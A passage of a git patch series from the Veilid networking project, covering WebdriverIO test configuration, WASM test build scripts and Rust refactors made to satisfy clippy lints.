default is 'dot' + // see also: https://webdriver.io/docs/dot-reporter + reporters: ['spec'], + + // + // Options to be passed to Mocha. + // See the full list at http://mochajs.org/ + mochaOpts: { + ui: 'bdd', + timeout: 60000, + }, + // + // ===== + // Hooks + // ===== + // WebdriverIO provides several hooks you can use to interfere with the test process in order to enhance + // it and to build services around it. You can either apply a single function or an array of + // methods to it. If one of them returns with a promise, WebdriverIO will wait until that promise got + // resolved to continue. + /** + * Gets executed once before all workers get launched. + * @param {object} config wdio configuration object + * @param {Array.} capabilities list of capabilities details + */ + // onPrepare: function (config, capabilities) { + // }, + /** + * Gets executed before a worker process is spawned and can be used to initialise specific service + * for that worker as well as modify runtime environments in an async fashion. + * @param {string} cid capability id (e.g 0-0) + * @param {object} caps object containing capabilities for session that will be spawn in the worker + * @param {object} specs specs to be run in the worker process + * @param {object} args object that will be merged with the main configuration once worker is initialized + * @param {object} execArgv list of string arguments passed to the worker process + */ + // onWorkerStart: function (cid, caps, specs, args, execArgv) { + // }, + /** + * Gets executed just after a worker process has exited. + * @param {string} cid capability id (e.g 0-0) + * @param {number} exitCode 0 - success, 1 - fail + * @param {object} specs specs to be run in the worker process + * @param {number} retries number of retries used + */ + // onWorkerEnd: function (cid, exitCode, specs, retries) { + // }, + /** + * Gets executed just before initialising the webdriver session and test framework. It allows you + * to manipulate configurations depending on the capability or spec. + * @param {object} config wdio configuration object + * @param {Array.} capabilities list of capabilities details + * @param {Array.} specs List of spec file paths that are to be run + * @param {string} cid worker id (e.g. 0-0) + */ + // beforeSession: function (config, capabilities, specs, cid) { + // }, + /** + * Gets executed before test execution begins. At this point you can access to all global + * variables like `browser`. It is the perfect place to define custom commands. + * @param {Array.} capabilities list of capabilities details + * @param {Array.} specs List of spec file paths that are to be run + * @param {object} browser instance of created browser/device session + */ + // before: function (capabilities, specs) { + // }, + /** + * Runs before a WebdriverIO command gets executed. + * @param {string} commandName hook command name + * @param {Array} args arguments that command would receive + */ + // beforeCommand: function (commandName, args) { + // }, + /** + * Hook that gets executed before the suite starts + * @param {object} suite suite details + */ + // beforeSuite: function (suite) { + // }, + /** + * Function to be executed before a test (in Mocha/Jasmine) starts. + */ + // beforeTest: function (test, context) { + // }, + /** + * Hook that gets executed _before_ a hook within the suite starts (e.g. runs before calling + * beforeEach in Mocha) + */ + // beforeHook: function (test, context) { + // }, + /** + * Hook that gets executed _after_ a hook within the suite starts (e.g. runs after calling + * afterEach in Mocha) + */ + // afterHook: function (test, context, { error, result, duration, passed, retries }) { + // }, + /** + * Function to be executed after a test (in Mocha/Jasmine only) + * @param {object} test test object + * @param {object} context scope object the test was executed with + * @param {Error} result.error error object in case the test fails, otherwise `undefined` + * @param {*} result.result return object of test function + * @param {number} result.duration duration of test + * @param {boolean} result.passed true if test has passed, otherwise false + * @param {object} result.retries information about spec related retries, e.g. `{ attempts: 0, limit: 0 }` + */ + // afterTest: function(test, context, { error, result, duration, passed, retries }) { + // }, + + /** + * Hook that gets executed after the suite has ended + * @param {object} suite suite details + */ + // afterSuite: function (suite) { + // }, + /** + * Runs after a WebdriverIO command gets executed + * @param {string} commandName hook command name + * @param {Array} args arguments that command would receive + * @param {number} result 0 - command success, 1 - command error + * @param {object} error error object if any + */ + // afterCommand: function (commandName, args, result, error) { + // }, + /** + * Gets executed after all tests are done. You still have access to all global variables from + * the test. + * @param {number} result 0 - test pass, 1 - test fail + * @param {Array.} capabilities list of capabilities details + * @param {Array.} specs List of spec file paths that ran + */ + // after: function (result, capabilities, specs) { + // }, + /** + * Gets executed right after terminating the webdriver session. + * @param {object} config wdio configuration object + * @param {Array.} capabilities list of capabilities details + * @param {Array.} specs List of spec file paths that ran + */ + // afterSession: function (config, capabilities, specs) { + // }, + /** + * Gets executed after all workers got shut down and the process is about to exit. An error + * thrown in the onComplete hook will result in the test run failing. + * @param {object} exitCode 0 - success, 1 - fail + * @param {object} config wdio configuration object + * @param {Array.} capabilities list of capabilities details + * @param {} results object containing test results + */ + // onComplete: function(exitCode, config, capabilities, results) { + // }, + /** + * Gets executed when a refresh happens. + * @param {string} oldSessionId session ID of the old session + * @param {string} newSessionId session ID of the new session + */ + // onReload: function(oldSessionId, newSessionId) { + // } +}; diff --git a/veilid-wasm/tests/web.rs b/veilid-wasm/tests/web.rs deleted file mode 100644 index 0c251687..00000000 --- a/veilid-wasm/tests/web.rs +++ /dev/null @@ -1,218 +0,0 @@ -//! Test suite for the Web and headless browsers. -//! These tests only work with WASM_BINDGEN_USE_NO_MODULE=true env var, -//! as otherwise there's no way to access the generated wasm bindings from inside JS. - -#![cfg(target_arch = "wasm32")] - -extern crate alloc; -extern crate wasm_bindgen_test; -use js_sys::*; -use parking_lot::Once; -use veilid_wasm::*; -use wasm_bindgen::*; -use wasm_bindgen_futures::*; -use wasm_bindgen_test::*; - -wasm_bindgen_test_configure!(run_in_browser); - -static SETUP_ONCE: Once = Once::new(); -pub fn setup() -> () { - SETUP_ONCE.call_once(|| { - console_log!("setup()"); - console_error_panic_hook::set_once(); - init_callbacks(); - }) -} - -fn init_callbacks() { - assert_eq!(js_sys::eval(r#" - window.sleep = (milliseconds) => { return new Promise(resolve => setTimeout(resolve, milliseconds)) }; - window.stateChangeCallback = async (stateChange) => { - delete stateChange.peers; // makes logs less verbose - console.log("State change: ", JSON.stringify(stateChange, null, 2)); - }; - window.veilidCoreInitConfig = { - logging: { - api: { - enabled: true, - level: 'Info', - }, - performance: { - enabled: false, - level: 'Info', - logs_in_timings: false, - logs_in_console: false, - }, - }, - }; - - window.veilidCoreStartupConfig = { - program_name: 'veilid-wasm-test', - namespace: '', - capabilities: { - disable: [], - }, - protected_store: { - allow_insecure_fallback: true, - always_use_insecure_storage: true, - directory: '', - delete: false, - device_encryption_key_password: 'some-user-secret-value', - // "new_device_encryption_key_password": "an-updated-user-secret-value" - }, - table_store: { - directory: '', - delete: false, - }, - block_store: { - directory: '', - delete: false, - }, - network: { - connection_initial_timeout_ms: 2000, - connection_inactivity_timeout_ms: 60000, - max_connections_per_ip4: 32, - max_connections_per_ip6_prefix: 32, - max_connections_per_ip6_prefix_size: 56, - max_connection_frequency_per_min: 128, - client_whitelist_timeout_ms: 300000, - reverse_connection_receipt_time_ms: 5000, - hole_punch_receipt_time_ms: 5000, - network_key_password: '', - disable_capabilites: [], - routing_table: { - node_id: [], - node_id_secret: [], - bootstrap: [ - 'ws://bootstrap.veilid.net:5150/ws', - ], - limit_over_attached: 64, - limit_fully_attached: 32, - limit_attached_strong: 16, - limit_attached_good: 8, - limit_attached_weak: 4, - }, - rpc: { - concurrency: 0, - queue_size: 1024, - max_timestamp_behind_ms: 10000, - max_timestamp_ahead_ms: 10000, - timeout_ms: 5000, - max_route_hop_count: 4, - default_route_hop_count: 1, - }, - dht: { - max_find_node_count: 20, - resolve_node_timeout_ms: 10000, - resolve_node_count: 1, - resolve_node_fanout: 4, - get_value_timeout_ms: 10000, - get_value_count: 3, - get_value_fanout: 4, - set_value_timeout_ms: 10000, - set_value_count: 5, - set_value_fanout: 4, - min_peer_count: 20, - min_peer_refresh_time_ms: 60000, - validate_dial_info_receipt_time_ms: 2000, - local_subkey_cache_size: 128, - local_max_subkey_cache_memory_mb: 256, - remote_subkey_cache_size: 1024, - remote_max_records: 65536, - remote_max_subkey_cache_memory_mb: 256, - remote_max_storage_space_mb: 0, - }, - upnp: true, - detect_address_changes: true, - restricted_nat_retries: 0, - tls: { - certificate_path: '', - private_key_path: '', - connection_initial_timeout_ms: 2000, - }, - application: { - https: { - enabled: false, - listen_address: ':5150', - path: 'app', - }, - http: { - enabled: false, - listen_address: ':5150', - path: 'app', - }, - }, - protocol: { - udp: { - enabled: false, - socket_pool_size: 0, - listen_address: '', - }, - tcp: { - connect: false, - listen: false, - max_connections: 32, - listen_address: '', - }, - ws: { - connect: true, - listen: true, - max_connections: 16, - listen_address: ':5150', - path: 'ws', - }, - wss: { - connect: true, - listen: false, - max_connections: 16, - listen_address: '', - path: 'ws', - }, - }, - }, - }; - true - "#).expect("failed to eval"), JsValue::TRUE); -} - -/// Helper for converting an eval Promise result into a JsValue -async fn eval_promise(source: &str) -> JsValue { - JsFuture::from( - eval(source) - .expect("Failed to eval") - .dyn_into::() - .unwrap(), - ) - .await - .unwrap() -} - -// ---------------------------------------------------------------- - -// TODO: now that veilidClient uses a single instance of VeilidAPI, -// subsequent tests fail because veilidCore has already been initialized. -#[wasm_bindgen_test()] -async fn test_kitchen_sink() { - setup(); - - let res = eval_promise( - r#" - (async function () { - const { veilidClient } = wasm_bindgen; // only accessible in no_module mode. - veilidClient.initializeCore(window.veilidCoreInitConfig); - await veilidClient.startupCore(window.stateChangeCallback, JSON.stringify(window.veilidCoreStartupConfig)); - - console.log(veilidClient.versionString()); - await veilidClient.attach(); - - await sleep(10000); - await veilidClient.detach(); - await veilidClient.shutdownCore(); - - return true; - })(); - "#, - ).await; - - assert_eq!(res, JsValue::TRUE); -} diff --git a/veilid-wasm/wasm_setup_check.sh b/veilid-wasm/wasm_setup_check.sh new file mode 100755 index 00000000..15eefea8 --- /dev/null +++ b/veilid-wasm/wasm_setup_check.sh @@ -0,0 +1,41 @@ +#!/bin/bash +set -eo pipefail + +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +pushd "$SCRIPTDIR" &> /dev/null + +OS="unknown" +if [ "$(uname)" == "Linux" ]; then + if [ ! "$(grep -Ei 'debian|buntu|mint' /etc/*release)" ]; then + echo "Not a supported Linux for this script" + exit 1 + fi + OS="linux" +elif [ "$(uname)" == "Darwin" ]; then + OS="macos" +fi +if [ "$OS" == "unknown" ]; then + echo "Not a supported operating system for this script" + exit 1 +fi + +if command -v node &> /dev/null; then + echo '[X] NodeJS is available in the path' +else + echo -e 'NodeJS is not available in the path. + Install NodeJS from here: https://nodejs.org/en/download + Or from a package manager: https://nodejs.org/en/download/package-manager' + exit 1 +fi + + +if command -v npm &> /dev/null; then + echo '[X] npm is available in the path' +else + echo -e 'npm is not available in the path. It should have been installed with NodeJS. + Install NodeJS from here: https://nodejs.org/en/download + Or from a package manager: https://nodejs.org/en/download/package-manager' + exit 1 +fi + +popd &> /dev/null \ No newline at end of file diff --git a/veilid-wasm/wasm_test.sh b/veilid-wasm/wasm_test.sh index 27209505..3103cb57 100755 --- a/veilid-wasm/wasm_test.sh +++ b/veilid-wasm/wasm_test.sh @@ -1,4 +1,20 @@ #!/bin/bash set -eo pipefail -WASM_BINDGEN_USE_NO_MODULE=true wasm-pack test --firefox "$@" +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +pushd "$SCRIPTDIR" &> /dev/null + +WASM_PACK_FLAGS="--dev" +if [[ "$1" == "release" ]]; then + WASM_PACK_FLAGS="--release" +fi + +# Build wasm into an npm package, output into ./pkg +wasm-pack build $WASM_PACK_FLAGS --target bundler --weak-refs + +# Install test deps and run test suite +cd tests +npm install +npm run test:headless + +popd &> /dev/null From 6438a64fc734315d6fa2381991081a687a2378de Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 19:37:02 -0400 Subject: [PATCH 54/86] clippy work --- veilid-cli/src/main.rs | 1 + veilid-cli/src/ui.rs | 8 +- veilid-core/build.rs | 36 ++++-- veilid-core/src/crypto/envelope.rs | 2 +- veilid-core/src/crypto/tests/mod.rs | 6 +- veilid-core/src/crypto/tests/test_types.rs | 12 +- .../src/crypto/types/byte_array_types.rs | 28 +---- .../src/crypto/types/crypto_typed_group.rs | 25 ++-- veilid-core/src/crypto/types/keypair.rs | 2 +- veilid-core/src/crypto/vld0/mod.rs | 10 +- veilid-core/src/intf/mod.rs | 2 +- .../intf/native/network_interfaces/apple.rs | 6 +- .../src/intf/native/network_interfaces/mod.rs | 2 +- veilid-core/src/lib.rs | 1 + .../src/network_manager/address_filter.rs | 12 +- .../src/network_manager/connection_handle.rs | 2 +- .../src/network_manager/connection_manager.rs | 7 +- .../src/network_manager/connection_table.rs | 20 +-- veilid-core/src/network_manager/mod.rs | 8 +- .../native/discovery_context.rs | 29 ++--- .../src/network_manager/native/igd_manager.rs | 24 ++-- veilid-core/src/network_manager/native/mod.rs | 14 +-- .../src/network_manager/native/network_udp.rs | 2 +- .../network_manager/native/protocol/mod.rs | 2 +- .../network_manager/native/protocol/tcp.rs | 7 +- .../network_manager/native/protocol/udp.rs | 8 +- .../src/network_manager/native/protocol/ws.rs | 9 +- .../network_manager/native/start_protocols.rs | 6 +- .../src/network_manager/network_connection.rs | 19 +-- veilid-core/src/network_manager/send_data.rs | 2 +- .../tasks/public_address_check.rs | 10 +- .../src/network_manager/types/address.rs | 8 +- .../src/network_manager/types/address_type.rs | 2 +- .../network_manager/types/dial_info/mod.rs | 48 +++---- .../types/low_level_protocol_type.rs | 2 +- .../src/network_manager/types/peer_address.rs | 11 +- .../network_manager/types/protocol_type.rs | 2 +- .../network_manager/types/socket_address.rs | 16 +-- veilid-core/src/routing_table/bucket_entry.rs | 6 +- veilid-core/src/routing_table/mod.rs | 8 +- .../routing_table/routing_domain_editor.rs | 8 +- .../src/routing_table/routing_domains.rs | 24 ++-- .../src/routing_table/routing_table_inner.rs | 7 +- .../src/routing_table/tasks/bootstrap.rs | 2 +- .../tasks/private_route_management.rs | 11 +- .../routing_table/types/dial_info_detail.rs | 2 + .../src/routing_table/types/direction.rs | 2 +- .../src/routing_table/types/peer_info.rs | 2 +- .../src/routing_table/types/routing_domain.rs | 2 +- .../types/signed_direct_node_info.rs | 2 +- .../routing_table/types/signed_node_info.rs | 4 +- .../types/signed_relayed_node_info.rs | 2 +- veilid-core/src/storage_manager/mod.rs | 16 +-- veilid-core/src/veilid_api/debug.rs | 14 +-- veilid-flutter/rust/src/lib.rs | 3 + veilid-server/src/main.rs | 1 + veilid-tools/src/assembly_buffer.rs | 6 + veilid-tools/src/async_tag_lock.rs | 14 +++ veilid-tools/src/lib.rs | 3 + veilid-tools/src/timestamp.rs | 47 +++---- veilid-tools/src/tools.rs | 10 +- veilid-wasm/src/lib.rs | 117 +++++++++++++++--- 62 files changed, 414 insertions(+), 310 deletions(-) diff --git a/veilid-cli/src/main.rs b/veilid-cli/src/main.rs index 9345daaa..4f46cfdd 100644 --- a/veilid-cli/src/main.rs +++ b/veilid-cli/src/main.rs @@ -1,4 +1,5 @@ #![deny(clippy::all)] +#![allow(clippy::comparison_chain, clippy::upper_case_acronyms)] #![deny(unused_must_use)] #![recursion_limit = "256"] diff --git a/veilid-cli/src/ui.rs b/veilid-cli/src/ui.rs index c1e4642d..0c401e38 100644 --- a/veilid-cli/src/ui.rs +++ b/veilid-cli/src/ui.rs @@ -482,7 +482,9 @@ impl UI { ) .as_bytes(), ) - .is_ok() && std::io::stdout().flush().is_ok() { + .is_ok() + && std::io::stdout().flush().is_ok() + { let color = *Self::inner_mut(s).log_colors.get(&Level::Info).unwrap(); cursive_flexi_logger_view::parse_lines_to_log( color.into(), @@ -938,10 +940,12 @@ impl UI { // } } +type CallbackSink = Box; + #[derive(Clone)] pub struct UISender { inner: Arc>, - cb_sink: Sender>, + cb_sink: Sender, } impl UISender { diff --git a/veilid-core/build.rs b/veilid-core/build.rs index c7ebbf9e..3eb93400 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -18,8 +18,7 @@ fn get_desired_capnp_version_string() -> String { let capnp_path = search_file(env!("CARGO_MANIFEST_DIR"), ".capnp_version") .expect("should find .capnp_version file"); std::fs::read_to_string(&capnp_path) - .unwrap_or_else(|_| panic!("can't read .capnp_version file here: {:?}", - capnp_path)) + .unwrap_or_else(|_| panic!("can't read .capnp_version file here: {:?}", capnp_path)) .trim() .to_owned() } @@ -45,8 +44,7 @@ fn get_desired_protoc_version_string() -> String { let protoc_path = search_file(env!("CARGO_MANIFEST_DIR"), ".protoc_version") .expect("should find .protoc_version file"); std::fs::read_to_string(&protoc_path) - .unwrap_or_else(|_| panic!("can't read .protoc_version file here: {:?}", - protoc_path)) + .unwrap_or_else(|_| panic!("can't read .protoc_version file here: {:?}", protoc_path)) .trim() .to_owned() } @@ -75,11 +73,18 @@ fn main() { let protoc_version_string = get_protoc_version_string(); // Check capnp version - let desired_capnp_major_version = - usize::from_str_radix(desired_capnp_version_string.split_once('.').unwrap().0, 10) - .expect("should be valid int"); + let desired_capnp_major_version = desired_capnp_version_string + .split_once('.') + .unwrap() + .0 + .parse::() + .expect("should be valid int"); - if usize::from_str_radix(capnp_version_string.split_once('.').unwrap().0, 10) + if capnp_version_string + .split_once('.') + .unwrap() + .0 + .parse::() .expect("should be valid int") != desired_capnp_major_version { @@ -95,10 +100,17 @@ fn main() { } // Check protoc version - let desired_protoc_major_version = - usize::from_str_radix(desired_protoc_version_string.split_once('.').unwrap().0, 10) - .expect("should be valid int"); - if usize::from_str_radix(protoc_version_string.split_once('.').unwrap().0, 10) + let desired_protoc_major_version = desired_protoc_version_string + .split_once('.') + .unwrap() + .0 + .parse::() + .expect("should be valid int"); + if protoc_version_string + .split_once('.') + .unwrap() + .0 + .parse::() .expect("should be valid int") < desired_protoc_major_version { diff --git a/veilid-core/src/crypto/envelope.rs b/veilid-core/src/crypto/envelope.rs index 86f1324e..dc92e317 100644 --- a/veilid-core/src/crypto/envelope.rs +++ b/veilid-core/src/crypto/envelope.rs @@ -236,7 +236,7 @@ impl Envelope { } // Compress body - let body = compress_prepend_size(&body); + let body = compress_prepend_size(body); // Ensure body isn't too long let envelope_size: usize = body.len() + MIN_ENVELOPE_SIZE; diff --git a/veilid-core/src/crypto/tests/mod.rs b/veilid-core/src/crypto/tests/mod.rs index 04a29d9f..33ec1eac 100644 --- a/veilid-core/src/crypto/tests/mod.rs +++ b/veilid-core/src/crypto/tests/mod.rs @@ -8,10 +8,10 @@ use crate::tests::common::test_veilid_config::*; async fn crypto_tests_startup() -> VeilidAPI { trace!("crypto_tests: starting"); let (update_callback, config_callback) = setup_veilid_core(); - let api = api_startup(update_callback, config_callback) + + api_startup(update_callback, config_callback) .await - .expect("startup failed"); - api + .expect("startup failed") } async fn crypto_tests_shutdown(api: VeilidAPI) { diff --git a/veilid-core/src/crypto/tests/test_types.rs b/veilid-core/src/crypto/tests/test_types.rs index 3a544186..b2f7a3bc 100644 --- a/veilid-core/src/crypto/tests/test_types.rs +++ b/veilid-core/src/crypto/tests/test_types.rs @@ -228,7 +228,7 @@ pub async fn test_encode_decode(vcrypto: CryptoSystemVersion) { pub async fn test_typed_convert(vcrypto: CryptoSystemVersion) { let tks1 = format!( "{}:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzdQ", - vcrypto.kind().to_string() + vcrypto.kind() ); let tk1 = TypedKey::from_str(&tks1).expect("failed"); let tks1x = tk1.to_string(); @@ -236,22 +236,22 @@ pub async fn test_typed_convert(vcrypto: CryptoSystemVersion) { let tks2 = format!( "{}:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzd", - vcrypto.kind().to_string() + vcrypto.kind() ); let _tk2 = TypedKey::from_str(&tks2).expect_err("succeeded when it shouldnt have"); - let tks3 = format!("XXXX:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzdQ",); + let tks3 = "XXXX:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzdQ".to_string(); let tk3 = TypedKey::from_str(&tks3).expect("failed"); let tks3x = tk3.to_string(); assert_eq!(tks3, tks3x); - let tks4 = format!("XXXX:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzd",); + let tks4 = "XXXX:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzd".to_string(); let _tk4 = TypedKey::from_str(&tks4).expect_err("succeeded when it shouldnt have"); - let tks5 = format!("XXX:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzdQ",); + let tks5 = "XXX:7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzdQ".to_string(); let _tk5 = TypedKey::from_str(&tks5).expect_err("succeeded when it shouldnt have"); - let tks6 = format!("7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzdQ",); + let tks6 = "7lxDEabK_qgjbe38RtBa3IZLrud84P6NhGP-pRTZzdQ".to_string(); let tk6 = TypedKey::from_str(&tks6).expect("failed"); let tks6x = tk6.to_string(); assert!(tks6x.ends_with(&tks6)); diff --git a/veilid-core/src/crypto/types/byte_array_types.rs b/veilid-core/src/crypto/types/byte_array_types.rs index d47a323a..4c989bab 100644 --- a/veilid-core/src/crypto/types/byte_array_types.rs +++ b/veilid-core/src/crypto/types/byte_array_types.rs @@ -77,7 +77,7 @@ where macro_rules! byte_array_type { ($name:ident, $size:expr, $encoded_size:expr) => { - #[derive(Clone, Copy, Hash)] + #[derive(Clone, Copy, Hash, PartialOrd, Ord, PartialEq, Eq)] #[cfg_attr(target_arch = "wasm32", derive(Tsify), tsify(into_wasm_abi))] pub struct $name { pub bytes: [u8; $size], @@ -114,32 +114,6 @@ macro_rules! byte_array_type { } } - impl PartialOrd for $name { - fn partial_cmp(&self, other: &Self) -> Option { - Some(self.cmp(other)) - } - } - - impl Ord for $name { - fn cmp(&self, other: &Self) -> core::cmp::Ordering { - for n in 0..$size { - let c = self.bytes[n].cmp(&other.bytes[n]); - if c != core::cmp::Ordering::Equal { - return c; - } - } - core::cmp::Ordering::Equal - } - } - - impl PartialEq for $name { - fn eq(&self, other: &Self) -> bool { - self.bytes == other.bytes - } - } - - impl Eq for $name {} - impl $name { pub fn new(bytes: [u8; $size]) -> Self { Self { bytes } diff --git a/veilid-core/src/crypto/types/crypto_typed_group.rs b/veilid-core/src/crypto/types/crypto_typed_group.rs index 80f717bc..fbdd855c 100644 --- a/veilid-core/src/crypto/types/crypto_typed_group.rs +++ b/veilid-core/src/crypto/types/crypto_typed_group.rs @@ -93,16 +93,13 @@ where } /// Return preferred typed key of our supported crypto kinds pub fn best(&self) -> Option> { - match self.items.first().copied() { - None => None, - Some(k) => { - if !VALID_CRYPTO_KINDS.contains(&k.kind) { - None - } else { - Some(k) - } - } - } + self.items + .first() + .copied() + .filter(|k| VALID_CRYPTO_KINDS.contains(&k.kind)) + } + pub fn is_empty(&self) -> bool { + self.items.is_empty() } pub fn len(&self) -> usize { self.items.len() @@ -204,7 +201,7 @@ where if &s[0..1] != "[" || &s[(s.len() - 1)..] != "]" { apibail_parse_error!("invalid format", s); } - for x in s[1..s.len() - 1].split(",") { + for x in s[1..s.len() - 1].split(',') { let tk = CryptoTyped::::from_str(x.trim())?; items.push(tk); } @@ -272,7 +269,7 @@ where tks } } -impl Into>> for CryptoTypedGroup +impl From> for Vec> where K: Clone + Copy @@ -286,7 +283,7 @@ where + Hash + Encodable, { - fn into(self) -> Vec> { - self.items + fn from(val: CryptoTypedGroup) -> Self { + val.items } } diff --git a/veilid-core/src/crypto/types/keypair.rs b/veilid-core/src/crypto/types/keypair.rs index 6530eefb..4fafd4ea 100644 --- a/veilid-core/src/crypto/types/keypair.rs +++ b/veilid-core/src/crypto/types/keypair.rs @@ -96,7 +96,7 @@ impl<'de> serde::Deserialize<'de> for KeyPair { D: serde::Deserializer<'de>, { let s = ::deserialize(deserializer)?; - if s == "" { + if s.is_empty() { return Ok(KeyPair::default()); } KeyPair::try_decode(s.as_str()).map_err(serde::de::Error::custom) diff --git a/veilid-core/src/crypto/vld0/mod.rs b/veilid-core/src/crypto/vld0/mod.rs index 5214f148..b2b2ce1c 100644 --- a/veilid-core/src/crypto/vld0/mod.rs +++ b/veilid-core/src/crypto/vld0/mod.rs @@ -134,8 +134,8 @@ impl CryptoSystem for CryptoSystemVLD0 { SharedSecret::new(s) } fn compute_dh(&self, key: &PublicKey, secret: &SecretKey) -> VeilidAPIResult { - let pk_xd = public_to_x25519_pk(&key)?; - let sk_xd = secret_to_x25519_sk(&secret)?; + let pk_xd = public_to_x25519_pk(key)?; + let sk_xd = secret_to_x25519_sk(secret)?; let dh_bytes = sk_xd.diffie_hellman(&pk_xd).to_bytes(); @@ -188,9 +188,9 @@ impl CryptoSystem for CryptoSystemVLD0 { fn distance(&self, key1: &PublicKey, key2: &PublicKey) -> CryptoKeyDistance { let mut bytes = [0u8; CRYPTO_KEY_LENGTH]; - for n in 0..CRYPTO_KEY_LENGTH { + (0..CRYPTO_KEY_LENGTH).for_each(|n| { bytes[n] = key1.bytes[n] ^ key2.bytes[n]; - } + }); CryptoKeyDistance::new(bytes) } @@ -219,7 +219,7 @@ impl CryptoSystem for CryptoSystemVLD0 { let sig = Signature::new(sig_bytes.to_bytes()); - self.verify(dht_key, &data, &sig)?; + self.verify(dht_key, data, &sig)?; Ok(sig) } diff --git a/veilid-core/src/intf/mod.rs b/veilid-core/src/intf/mod.rs index 81756b61..af238bee 100644 --- a/veilid-core/src/intf/mod.rs +++ b/veilid-core/src/intf/mod.rs @@ -9,4 +9,4 @@ mod native; #[cfg(not(target_arch = "wasm32"))] pub use native::*; -pub static KNOWN_PROTECTED_STORE_KEYS: [&'static str; 2] = ["device_encryption_key", "_test_key"]; +pub static KNOWN_PROTECTED_STORE_KEYS: [&str; 2] = ["device_encryption_key", "_test_key"]; diff --git a/veilid-core/src/intf/native/network_interfaces/apple.rs b/veilid-core/src/intf/native/network_interfaces/apple.rs index a34174fb..88422f60 100644 --- a/veilid-core/src/intf/native/network_interfaces/apple.rs +++ b/veilid-core/src/intf/native/network_interfaces/apple.rs @@ -324,7 +324,7 @@ impl PlatformSupportApple { let intf_index = unsafe { (*rt).rtm_index } as u32; // Fill in sockaddr table - for i in 0..(RTAX_MAX as usize) { + (0..(RTAX_MAX as usize)).for_each(|i| { if rtm_addrs & (1 << i) != 0 { sa_tab[i] = sa; sa = unsafe { @@ -333,7 +333,7 @@ impl PlatformSupportApple { sa }; } - } + }); // Look for gateways if rtm_addrs & (RTA_DST | RTA_GATEWAY) == (RTA_DST | RTA_GATEWAY) { @@ -373,7 +373,7 @@ impl PlatformSupportApple { } fn get_address_flags(ifname: &str, addr: sockaddr_in6) -> EyreResult { - let mut req = in6_ifreq::from_name(&ifname).unwrap(); + let mut req = in6_ifreq::from_name(ifname).unwrap(); req.set_addr(addr); let sock = unsafe { socket(AF_INET6, SOCK_DGRAM, 0) }; diff --git a/veilid-core/src/intf/native/network_interfaces/mod.rs b/veilid-core/src/intf/native/network_interfaces/mod.rs index 59f1ae49..4c53cab9 100644 --- a/veilid-core/src/intf/native/network_interfaces/mod.rs +++ b/veilid-core/src/intf/native/network_interfaces/mod.rs @@ -359,7 +359,7 @@ impl NetworkInterfaces { let old_best_addresses = inner.interface_address_cache.clone(); // redo the address cache - Self::cache_best_addresses(&mut *inner); + Self::cache_best_addresses(&mut inner); // See if our best addresses have changed if old_best_addresses != inner.interface_address_cache { diff --git a/veilid-core/src/lib.rs b/veilid-core/src/lib.rs index f2cb5df9..bea8cab5 100644 --- a/veilid-core/src/lib.rs +++ b/veilid-core/src/lib.rs @@ -22,6 +22,7 @@ //! #![deny(clippy::all)] +#![allow(clippy::comparison_chain, clippy::upper_case_acronyms)] #![deny(unused_must_use)] #![recursion_limit = "256"] diff --git a/veilid-core/src/network_manager/address_filter.rs b/veilid-core/src/network_manager/address_filter.rs index 5b17e3d0..ad869bfc 100644 --- a/veilid-core/src/network_manager/address_filter.rs +++ b/veilid-core/src/network_manager/address_filter.rs @@ -244,12 +244,12 @@ impl AddressFilter { self.unlocked_inner.max_connections_per_ip6_prefix_size, addr, ); - self.is_ip_addr_punished_inner(&*inner, ipblock) + self.is_ip_addr_punished_inner(&inner, ipblock) } pub fn get_dial_info_failed_ts(&self, dial_info: &DialInfo) -> Option { let inner = self.inner.lock(); - self.get_dial_info_failed_ts_inner(&*inner, dial_info) + self.get_dial_info_failed_ts_inner(&inner, dial_info) } pub fn set_dial_info_failed(&self, dial_info: DialInfo) { @@ -301,7 +301,7 @@ impl AddressFilter { pub fn is_node_id_punished(&self, node_id: TypedKey) -> bool { let inner = self.inner.lock(); - self.is_node_id_punished_inner(&*inner, node_id) + self.is_node_id_punished_inner(&inner, node_id) } pub fn punish_node_id(&self, node_id: TypedKey) { @@ -333,8 +333,8 @@ impl AddressFilter { ) -> EyreResult<()> { // let mut inner = self.inner.lock(); - self.purge_old_timestamps(&mut *inner, cur_ts); - self.purge_old_punishments(&mut *inner, cur_ts); + self.purge_old_timestamps(&mut inner, cur_ts); + self.purge_old_punishments(&mut inner, cur_ts); Ok(()) } @@ -411,7 +411,7 @@ impl AddressFilter { ); let ts = get_aligned_timestamp(); - self.purge_old_timestamps(&mut *inner, ts); + self.purge_old_timestamps(&mut inner, ts); match ipblock { IpAddr::V4(v4) => { diff --git a/veilid-core/src/network_manager/connection_handle.rs b/veilid-core/src/network_manager/connection_handle.rs index dbf53117..2f960f65 100644 --- a/veilid-core/src/network_manager/connection_handle.rs +++ b/veilid-core/src/network_manager/connection_handle.rs @@ -31,7 +31,7 @@ impl ConnectionHandle { } pub fn connection_descriptor(&self) -> ConnectionDescriptor { - self.descriptor.clone() + self.descriptor } #[cfg_attr(feature="verbose-tracing", instrument(level="trace", skip(self, message), fields(message.len = message.len())))] diff --git a/veilid-core/src/network_manager/connection_manager.rs b/veilid-core/src/network_manager/connection_manager.rs index 6f350a9f..d5ad429c 100644 --- a/veilid-core/src/network_manager/connection_manager.rs +++ b/veilid-core/src/network_manager/connection_manager.rs @@ -117,13 +117,12 @@ impl ConnectionManager { // Remove the inner from the lock let mut inner = { let mut inner_lock = self.arc.inner.lock(); - let inner = match inner_lock.take() { + match inner_lock.take() { Some(v) => v, None => { panic!("not started"); } - }; - inner + } }; // Stop all the connections and the async processor @@ -251,7 +250,7 @@ impl ConnectionManager { dial_info: DialInfo, ) 